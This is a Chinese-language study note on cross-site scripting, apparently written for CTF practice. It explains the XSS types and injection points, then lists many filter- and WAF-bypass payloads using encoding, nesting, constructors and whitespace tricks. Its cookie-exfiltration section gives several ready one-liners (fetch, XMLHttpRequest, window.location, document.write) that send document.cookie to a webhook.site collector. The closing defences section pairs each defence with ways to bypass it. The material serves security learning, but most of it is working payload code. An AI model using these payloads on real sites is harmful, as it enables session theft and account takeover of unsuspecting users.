XSS漏洞
XSS漏洞
XSS是基于前端的一种攻击,其实就是非Web应用自身的JS代码被黑客恶意插入,通过执行恶意的JS代码,可以导致窃取敏感信息、篡改网页内容或劫持用户会话,大部分情况是窃取Cookie,在你登录账号后的情况下,部分Web应用通过Cookie可以导致黑客能直接登录你的账号
XSS的分类
存储型XSS
持久化,代码存储在后端(数据库、日志文件、评论等)中,容易造成蠕虫,盗窃cookie
数据流通:将恶意代码通过交互界面上传到后端,然后从而上传到数据库中(实现自动化攻击),当管理员admin查询数据库的信息时,恶意脚本又从后端到了前端
在CTF中,利用GET、POST或者抓包在Referer,Cookie的地方植入我们的恶意脚本
反射型XSS
非持久化,需欺骗用户去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般出现在搜索页面,大多数用来盗取Cookie
数据流通:我们在一个输入框(一般是<input>
标签形成)里输入我们的恶意脚本,需要用户进行触发才能进行攻击,在前端输入恶意脚本,后端接受,然后再在前端显示
在CTF中,题目会给一个输入框,然后绕过过滤,执行恶意脚本
DOM型XSS
只发生在前端,利用 JavaScript 在浏览器端操作 DOM 时,动态插入和执行恶意代码,是通过url传入参数去控制触发的(也属于反射型XSS)
数据流通:在前端url添加我们的恶意脚本,然后直接在页面输出
JSONP型XSS
在浏览器的同源策略下,前端 JavaScript 不能直接跨域请求 AJAX
(一种无需刷新页面就能向服务器发送和接收数据的技术),但可以利用 <script>
标签(允许跨域加载特性)进行跨域请求(允许从一个域名中获取到另一个域名的数据)
后端返回的是带回调函数的 JSON 数据,前端利用回调函数(callback
)解析数据
攻击者可以伪造回调函数,利用 JSONP 执行任意 JavaScript 代码
1 | <script src="https://example.com/user?callback=alert"></script> |
如果服务器不做安全限制,返回的数据是:
1 | alert({"name": "Alice", "age": 25}); |
这时 alert()
直接执行,可能导致 XSS 攻击,也可以窃取受害者的 Cookie:
1 | <script src="https://example.com/user?callback=evilFunction"></script> |
XSS的攻击对象(XSS最终插入到哪里)
插入到HTML注释内容中
利用闭合的方式从而插入HTML注释内容之中
[!CAUTION]
可能利用某些解析漏洞,导致代码执行
绕过 WAF(安全防火墙)检测,隐藏 XSS 代码(如果后端在某些情况下错误地解析了注释(比如动态拼接 HTML),注释中的 XSS 可能会被执行)
诱导用户手动执行 XSS(社工攻击)
前端错误解析 HTML 注释,导致 XSS 触发(如
innerHTML
没有正确处理注释,导致<script>
被执行)配合 DOM XSS,影响前端页面(如
innerHTML
解析了注释,导致<img>
执行onerror
XSS)
插入到HTML标签的属性值中
通常配合onerror
使用
[!IMPORTANT]
onerror(XSS利用点)
一个事件处理程序,当资源(如图片、脚本、iframe)加载失败时触发
利用
<img>
标签
1 <img src= "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-src="x" onerror="alert('XSS!')">利用
<script>
标签
1 <script onerror="alert('XSS')">bad</script>利用
iframe
1 <iframe src="invalid.html" onerror="alert('XSS')"></iframe>
onerror
结合javascript:
伪协议
1 <img src="javascript:alert('XSS')">
插入到HTML标签的属性名中
如果服务器端没有正确转义 name
,而是直接在 HTML 中插入:
1 | <p>欢迎, <input type="text" name="{{ user_input }}">!</p> |
攻击者输入:
1 | "><script>alert('XSS')</script> |
浏览器解析后,HTML 变成:
1 | <p>欢迎, <input type="text" name=""> |
插入到HTML标签名中
1 | <div id="content"></div> |
攻击者输入:
1 | src=x onerror="</img><script>alert('XSS')</script>" |
解析后的HTML:
1 | <img src=x onerror=""> |
原因:<img>
是自闭合标签,不会有 </img>
这样的闭合标签,当解析器看到 "</img>
,它会忽略这个 </img>
并直接闭合 <img>
最简单的插入到script,img,svg标签中
1 | <script>alert('xss')</script> |
插入到CSS中(旧版浏览器)
1 | <div style="background-image:url('javascript:alert(`xss`)');"> |
当用户打开这一个页面时,会执行弹窗,浏览器会执行我们插入的java伪协议代码,从而执行恶意代码
插入到HTTP响应中
这就要牵扯到CRLF漏洞
利用CRLF漏洞将http包分为了header和body,利用回车符/换行符成功执行了body中的代码,实现XSS
1 | ?key=%0d%0a%0d%0a<img src=1 onerror=alert(1)> |
返回包变成:
1 | HTTP/1.1 200 OK |
如果遇到XSS过滤的情况我们还可以在httpheader中注入X-XSS-Protection:0
(旧版服务器),可绕过浏览器的过滤规则实现XSS弹窗显示(主要为反射型XSS)
XSS的绕过
关键词绕过
大小写绕过
1 | <sCriPt>alert(1)<sCriPt> |
拼接绕过
eval
,top
,window
,self
,parent
,frames
等
1 | <img src="x" onerror="eval['al'+'ert'](1)"> |
函数替换绕过
eval()
1 | <img src="x" onerror="eval(alert(1))"> |
open()
1 | <img src="x" onerror="open(alert(1))"> |
document.write()
1 | <img src="x" onerror="document.write(alert(1))"> |
setTimeout()
和 setInterval()
JavaScript 中用于延时执行代码的函数
1 | <img src="x" onerror="setTimeout(alert(1))"> |
利用构造器
通过构造器动态生成并执行 JavaScript 代码
Set.constructor
,Map.constructor
,Array.constructor
,WeakSet.constructor
,constructor.constructor
等
1 | <img src="x" onerror="Set.constructor(alert(1))"> |
利用数组方法
[1].map
,[1].find
,[1].every
,[1].filter
,[1].forEach
,[1].findIndex
等
1 | <img src="x" onerror="[1].map(alert(1))"> |
嵌套绕过
1 | <sc<script>ript>alert('XSS')</sc</script>ript> |
使用 sc<script>ript
,<script>
被分成两部分:sc
和 ript
,这样 XSS 过滤器可能不会识别整个标签,从而不会阻止该代码的执行
赋值绕过
1 | <img src onerror=_=alert,_(1)> |
[!IMPORTANT]
map()方法
用于对数组中的每个元素执行提供的回调函数,并返回一个新的数组,新的数组包含回调函数的返回值
1 array.map(callback(currentValue, index, array))参数:
callback
:对每个数组元素执行的函数currentValue
:当前处理的元素index
(可选):当前处理的元素的索引array
(可选):调用map()
方法的数组
最后一个payload解释:
['ale'+'rt']
是一个包含字符串 'alert'
的数组
map(top['ev'+'al'])
使用 map()
方法对该数组进行操作,最终将 alert
函数赋值给数组的第一个元素
[0]
取出数组的第一个元素,即 alert
函数
valueOf()
获取该函数的原始值(即 alert
函数本身)
最后,调用 alert(1)
执行 JavaScript 代码
编码绕过
URL 编码
<
被编码为%3C
,>
被编码为%3E
,&
被编码为%26
,/
被编码为%2F
1 | <img src="x" onerror="alert('%3Cscript%3Ealert(1)%3C%2Fscript%3E')"> |
HTML 实体编码
是将某些特殊字符转换成以 &
开头、;
结尾的实体格式
<
被编码为<
,>
被编码为>
,&
被编码为&
,/
被编码为/
,“
被编码为"
,’
被编码为'
,
被编码为
,=
被编码为=
1 | <img src="x" onerror="alert('<script>alert(1)</script>')"> |
Base64 编码
1 | <img src="x" onerror="eval(atob('YWxlcnQoMSk='))"> |
alert(1)
编码为atob('YWxlcnQoMSk=')
双重编码
例如,先对 <
编码为 %3C
,再将%3C
编码为 %253C
1 | <img src="x" onerror="alert('%253Cscript%253Ealert(1)%253C%252Fscript%253E')"> |
Unicode 编码
Unicode 编码使用十六进制值表示字符,它可以用于替代常见的 ASCII 字符
1 | <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))"> |
97,108,101,114,116,40,49,41
是 alert(1)
每个字符的 Unicode 编码值
十六进制编码
1 | <img src="x" onerror="eval(String.fromCharCode(0x61,0x6C,0x65,0x72,0x74,0x28,0x31,0x29))"> |
空格绕过
在html的标签中的不同位置的空格绕过方式不是一样的
1 | <html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html> |
A位置: /,/123/,%09,%0A,%0C,%0D,%20
B位置:%09,%0A,%0C,%0D,%20
C位置:%0B,/**/ (如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20)
D位置:%09,%0A,%0C,%0D,%20,//,>
()绕过
使用反引号
1 | <script>alert`1`</script> |
throw绕过
1 | <script>alert;throw 1</script> |
1 | <svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> |
onload
:当 SVG 元素及其资源加载完成后触发。事件触发时会执行后面的 JavaScript 代码
window.onerror = eval;
:window.onerror
是一个全局的错误处理函数,当 JavaScript 执行时发生错误,它会被调用。通过将其设置为 eval
,攻击者可以劫持错误处理并执行恶意的 JavaScript 代码
throw '=alert\x281\x29';
:这行代码通过 throw
抛出一个异常alert(1)
单引号过滤
使用反引号
用斜杠替换
1 | <script>alert(/hack/)</script> |
alert过滤绕过
函数替换绕过
prompt()
,confirm()
,console.log()
,document.write()
编码绕过
对象方法绕过
利用对象的属性或方法来替代直接调用 alert
1 | <img src="x" onerror="window.constructor.constructor('alert(1)')()"> |
数组方法绕过
异步调用绕过
1 | <img src="x" onerror="setTimeout('alert(1)', 0)"> |
字符替换绕过
分割关键字绕过
通过在关键字中插入空格或注释符号( /**/
)来分隔函数名
a/**/l/**/ert(1)
长度限制绕过
用拆分法
1 | <script>a='document.write("'</script> |
用嵌套结构
1 | <img src="x" onerror="document.write('<img src=1 onerror=alert(1)>')"> |
分号绕过
当只过滤了分号时,可以利用花括号进行语句隔离
1 | <script>{onerror=alert}throw 1</script> |
当浏览器遇到 throw 1
时,它会抛出一个错误
抛出错误时,onerror
事件会被触发,因为我们之前将 onerror
设置为了 alert
函数
结果是,浏览器会弹出一个对话框,显示 1
,这就是 alert(1)
的效果
绕过CSP(未完)
绕过WAF(未完)
cookie外带
XSS靶场中通常以前端检测网页是否弹窗来判断有没有被XSS,但比赛/实战中,通常以XSS真实场景,需要外带出Cookie
获取cookie(待定)
带出cookie(通常对+进行编码%2B)
fetch()
方法
fetch()
允许 JavaScript 发送 HTTP 请求。如果 credentials: 'include'
,则可以携带当前站点的 Cookie
1 | fetch('//webhook.site/xxxxxxxx/?cookie='+document.cookie) |
XMLHttpRequest
对象
1 | <script>var xhr = new XMLHttpRequest(); xhr.open("GET", "//webhook.site/xxxxxxxx/?cookie="+document.cookie, true); xhr.send();</script> |
window.location
对象
window.location
可以把浏览器重定向到新的页面,此时可通过url携带cookie;使用方法例如
1 | <script>window.location="//webhook.site/xxxxxxxx/?cookie="+document.cookie;</script> |
下面是window.location
对象中可用于跳转的方法
window.location.href
1 | window.location.href = "//webhook.site/xxxxxxxx/?cookie="+document.cookie; |
window.location.assign(url)
1 | window.location.assign("//webhook.site/xxxxxxxx/?cookie="+document.cookie); |
window.location.replace(url)
1 | window.location.replace("//webhook.site/xxxxxxxx/?cookie="+document.cookie); |
window.open
方法
window.open()
是 JavaScript 中用于打开新窗口或新标签页的方法。它接受一个 URL 作为参数,返回一个新的浏览器窗口对象或者选项卡对象
例如,以下代码将会在新窗口或新标签页中打开指定 URL:
1 | window.open("//webhook.site/xxxxxxxx/?cookie="+document.cookie); |
document.write
方法
利用 document.write
写入某些含有src属性的标签,并将Cookie拼接到目标URL中,作为参数发送到指定的 IP 地址和端口
1 | <script>document.write(`<img src="//webhook.site/xxxxxxxx/?cookie=${document.cookie}" >`)</script> |
1 | <script>document.write('<img src="//webhook.site/xxxxxxxx/?cookie='+document.cookie+'"/>')</script> |
XSS的防范
HttpOnly Cookie
设置 Cookie 为 HttpOnly,这样,JavaScript 无法 通过 document.cookie
访问该 Cookie,只能通过HTTP请求发送给服务器
绕过
绕过方式 | 说明 |
---|---|
CSRF (跨站请求伪造) | HttpOnly 不能防止跨站请求伪造攻击(CSRF),攻击者仍可在受害者的浏览器中发起请求,利用受害者的 Cookie 进行操作 |
XS-Leaks(跨站信息泄露) | 通过 img 、iframe 、fetch() 发送请求,并观察返回数据是否有差异,可能间接推测出 Cookie 值 |
服务器端获取 Cookie | 通过 XSS 劫持会话,让受害者访问恶意页面,然后读取本地存储的 Token 或 触发服务器端请求 来利用 Cookie |
输入验证和转义
输入验证:限制输入字符,只允许安全字符(如 a-zA-Z0-9
)
HTML转义:实体编码
防止恶意脚本被注入到网页中
绕过
绕过方式 | 说明 |
---|---|
双重编码绕过 | 有些 WAF 只转义了一次,可以尝试 <script>alert(1)</script> 让服务器误解 |
事件属性绕过 | 如果 <script> 被拦截,可以尝试 <img src=x onerror=alert(1)> |
DOM XSS | 如果后端转义了,但前端用 innerHTML 渲染数据,仍然可以执行 XSS 代码 |
JSON 解析漏洞 | JSON 可能会反序列化恶意代码,例如 {"data": "<script>alert(1)</script>"} |
使用 CSP(内容安全策略)
限制页面中允许执行的脚本来源,防止外部 XSS 代码注入
绕过
绕过方式 | 说明 |
---|---|
JSONP 绕过 | 某些 API 允许 JSONP 请求,仍可执行外部代码 |
内联事件监听 | onclick="alert(1)" 可能仍然有效 |
数据 URI 绕过 | 某些 data: 方案仍然可以执行代码 |
动态 JavaScript 执行 | eval() , setTimeout() , Function() 可能仍然可以执行恶意代码 |
Cookie SameSite 属性
限制 Cookie 的跨站点发送行为
绕过
绕过方式 | 说明 |
---|---|
CORS 配合 XSS 绕过 | 如果 Access-Control-Allow-Origin: * ,可以用 fetch() 请求获取敏感数据 |
站内跳转绕过 | SameSite=Lax 允许 GET 请求,所以可以诱导用户点击链接 |
参考文章: